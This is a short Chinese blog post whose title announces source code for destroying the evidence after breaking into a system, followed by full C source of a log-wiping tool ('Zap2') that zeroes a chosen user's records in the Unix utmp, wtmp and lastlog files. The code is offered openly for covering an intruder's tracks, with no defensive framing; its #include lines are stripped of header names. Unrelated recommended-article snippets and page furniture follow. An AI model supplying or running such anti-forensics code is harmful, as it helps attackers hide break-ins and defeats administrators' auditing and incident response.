破坏入侵系统后现场的源码

原创 2006年06月01日 20:59:00

编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.

请使用专门的编辑器

例子:


#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"


int f;


void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

 

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

 

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

 

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

 

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

 

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

 

if ((pwd=getpwnam(who))!=NULL) {

 

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

 

} else printf("%s: ?/n",who);
}

 

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!/n");
} else
printf("Error./n");
}

版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

微现场互动活动源码

  • 2016-11-19 09:28
  • 16.35MB
  • 下载

PDA系统之现场测试--跳跃性成长的过程(一)

13号,我和姚双一起带着自己做的工程去检查站做现场测试。我们的工程总体已经完工。只是还有一些细节的问题(参数和类型问题)没有解决。           这次去测试的主要目的是:让我们的程序可以在对方...

PDA系统之现场测试--跳跃性成长的过程(二)

通过这次出门,有以下几点感受:            1每一次出行都不容易,都要动用大量的人力财力物力。这次行动让老师的亲人陪同,浪费着时间和金钱。(在这里真心的感谢米老师,为了我们的方便而动用自己...

员工评分系统现场发布小感

事情经过:           忙完教务系统的评教系统(评估教师系统,简称评教系统)之后,又做了一个和评教系统需求非常类似的廊坊某公司的员工评分系统。因为之前做了一个月的评教系统,所以做起员工评分系...

现场投票系统

  • 2015-12-02 22:46
  • 2.10MB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)